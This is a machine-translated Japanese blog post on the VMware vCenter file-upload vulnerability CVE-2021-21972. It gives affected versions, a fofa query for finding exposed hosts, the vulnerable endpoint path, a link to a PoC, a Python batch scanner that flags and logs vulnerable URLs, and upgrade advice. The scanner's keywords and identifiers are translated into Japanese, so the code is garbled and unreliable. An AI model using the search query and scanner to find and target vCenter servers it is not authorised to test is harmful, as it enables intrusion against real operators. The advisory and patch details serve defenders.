VMware vCenter の不正な任意ファイルアップロードの脆弱性 (CVE-2021-21972) について

VMware vCenter の不正な任意ファイルアップロードの脆弱性 (CVE-2021-21972) について

背景

CVE-2021-21972 VMware vCenter における認証されていないコマンド実行の脆弱性。この脆弱性により、vCenter サーバー上の任意の場所に Web シェルをアップロードし、Web シェルを実行することができます。

影響を受けるバージョン

VMware:ESXi:7.0/6.7/6.5
VMware:vcenter_server:7.0/6.7/6.5

脆弱性再現fofaクエリ

構文: title="+ ID_VC_Welcome +"

ここに画像の説明を挿入

有価証券

https://xxxx/ui/vropspluginui/rest/services/uploadova

ここに画像の説明を挿入

バッチ検証にはhttps://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POCスクリプトを使用してください。

#-*- コーディング:utf-8 -*-
バナー = """
    888888ba dP           
    88 `8b 88           
    a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 
    88 `8b. 88' `88 88 Y8oooooo. 88 88 
    88 .88 88. .88 88 88 88. .88 
    88888888P `88888P8 dP `88888P' `88888P' 
  ああああああああああああああああああああああああああああああ 
        @時間:2021/02/24 CVE-2021-21972.py
        NebulabdSec による C0de - @batsu         
 「」
印刷(バナー)

スレッドプールをインポートする
ランダムにインポート
輸入リクエスト
argparseをインポートする
http.clientをインポートする
urllib3をインポートする

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

get_ua() を定義します:
  first_num = ランダム.randint(55, 62)
  third_num = ランダム.randint(0, 3200)
  4番目の数値 = ランダム.randint(0, 140)
  os_type = [
    '(Windows NT 6.1; WOW64)'、'(Windows NT 10.0; WOW64)'、'(X11; Linux x86_64)'、
    '(Macintosh; Intel Mac OS X 10_12_6)'
  ]
  chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

  ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
          '(KHTML、Gecko など)'、chrome_version、'Safari/537.36']
         )
  uaを返す

def CVE_2021_21972(url):
  プロキシ = {"scoks5": "http://127.0.0.1:1081"}
  ヘッダー = {
    'ユーザーエージェント': get_ua(),
    「コンテンツタイプ」: 「application/x-www-form-urlencoded」
  }
  ターゲット URL = url + TARGET_URI
  試す:
    res = リクエスト.get(targetUrl,
              ヘッダー=ヘッダー、
              タイムアウト=15、
              検証=False、
              プロキシ=プロキシ)
              # プロキシ = {'socks5': 'http://127.0.0.1:1081'})
    # print(len(res.text))
    res.status_code == 405の場合:
      print("[+] URL:{}---------CVE-2021-21972 脆弱性が存在します".format(url))
      # print("[+] コマンド成功結果: " + res.text + "\n")
      open("vulnerability address.txt", 'a') を fw として実行します:
        fw.write(url + '\n')
    それ以外:
      print("[-] " + url + " CVE-2021-21972 の脆弱性は見つかりませんでした。\n")
  # except Exception として e:
  # 印刷(e)
  を除外する:
    print("[-] " + url + " リクエストエラー\n")
def multithreading(ファイル名, プール=5):
  作品 = []
  open(filename, "r") を f として実行します:
    i が f の場合:
      func_params = [i.rstrip("\n")]
      # func_params = [i] + [cmd]
      works.append((func_params, None))
  プール = threadpool.ThreadPool(プール)
  reqs = threadpool.makeRequests(CVE_2021_21972、動作します)
  [pool.putRequest(req) は reqs 内の req に対して実行されます]
  プール.wait()

main() を定義します:
  パーサー = argparse.ArgumentParser()
  パーサー.add_argument("-u",
            "--url",
            help="ターゲット URL; 例:http://ip:port")
  パーサー.add_argument("-f",
            " - ファイル"、
            help="URL ファイル; 例:url.txt")
  # parser.add_argument("-c", "--cmd", help="実行するコマンド; ")
  引数 = パーサー.parse_args()
  url = 引数.url
  # cmd = args.cmd
  ファイルパス = 引数.ファイル
  url != None かつ file_path == None の場合:
    CVE_2021_21972(URL)
  elif url == None かつ file_path != None:
    multithreading(file_path, 10) # __name__ == "__main__" の場合、デフォルトは 15 スレッドです:
  主要() 

ここに画像の説明を挿入

EXP 修理の提案

vCenter Server 7.0 を 7.0.U1c にアップグレードする
vCenter Server 6.7 を 6.7.U3l にアップグレードする
vCenter Server 6.5 を 6.5 U3n にアップグレードする

VMware vCenter の不正な任意ファイルアップロード脆弱性 (CVE-2021-21972) に関する記事はこれで終了です。VMware vCenter アップロード脆弱性に関するその他の関連コンテンツについては、123WORDPRESS.COM の過去の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • VMware vCenter 6.7 のインストール プロセス (グラフィック チュートリアル)
  • Openstack への VMware アクセスの詳細な説明 - Openstack を使用して vCenter 仮想マシンを作成する

<<:  CSS 前景と背景の自動カラーマッチング技術の紹介 (デモ)

>>:  Vue は div の高さをドラッグ可能にします

推薦する

単純なCSSの詳細に惚れ込むと、重要ではないものの、効率性が向上する可能性がある

CSS の将来は非常に楽しみです。一方では、まったく新しいページ レイアウト方法であり、他方では、ク...

MySQL コマンドラインでよく使われる 18 個のコマンド

日常的なウェブサイトの保守と管理では、多くの SQL ステートメントが使用されます。熟練して使用する...

Web アプリ開発時間を短縮する 10 の時間を節約するヒント (グラフィカル チュートリアル)

今日の開発環境では、速いほど良いです。 「迅速なアプリケーション開発」、「アジャイル ソフトウェア開...

Linux で MySQL のルート パスワードを変更する方法

序文このサービスは数か月前からMySQLに導入されています。私の仕事は基本的にターミナルで行われるた...

Linuxターミナルでの一般的なMySQL操作コマンドの詳細な説明

仕える: # chkconfig --list すべてのシステム サービスを一覧表示します # ch...

CentOS7環境にMySQL5.5データベースをインストールする

目次1. 現在のシステムにMySQLがインストールされているかどうかを確認する2. インストールされ...

NexusはAPIを使用して操作します

Nexus は RestApi を提供していますが、一部の API はまだ Groovy と組み合わ...

この記事ではMySQLのNULLについて説明します。

目次序文MySQL の NULL 2 NULL占有長3 NULL値の比較4SQLはNULL値を処理す...

CSS を使用して親コンテナ div を img 画像で埋め、コンテナのサイズを調整する方法

ページに複数の画像を導入すると、画像のサイズがばらつくことがあります。しかし、それらを一貫したサイズ...

CSS変数を使用して、クールで素晴らしいフローティング効果を実現します。

最近、Grover の Web サイトで楽しいホバー アニメーションを見つけ、自分自身のインスピレー...

CSS インライン スタイル、埋め込みスタイル、外部参照スタイルを使用する 3 つの方法

3 つの方法を使用する簡単な例は次のとおりです。インラインスタイル: <!doctypehtm...

iframe に関するいくつかの発見と考察

この物語は、今日の予期せぬ発見から始まります。同社には複数のウェブサイトがある。友達リンクにはお互い...

HTML 選択オプションの基本的な理解と使用

JavaScript での HTML (選択オプション) の詳細な説明1. 基本的な理解:コードをコ...

MySQLストレージエンジンについて学びましょう

目次序文1. MySQL メインストレージエンジン: 2. さまざまなストレージエンジンがテーブルを...

JavaScript 組み込みの日付と時刻の書式設定のサンプル コード

1. 基礎知識(日付オブジェクトのメソッド) 😜 getFullYear() は年を表す4桁の数字を...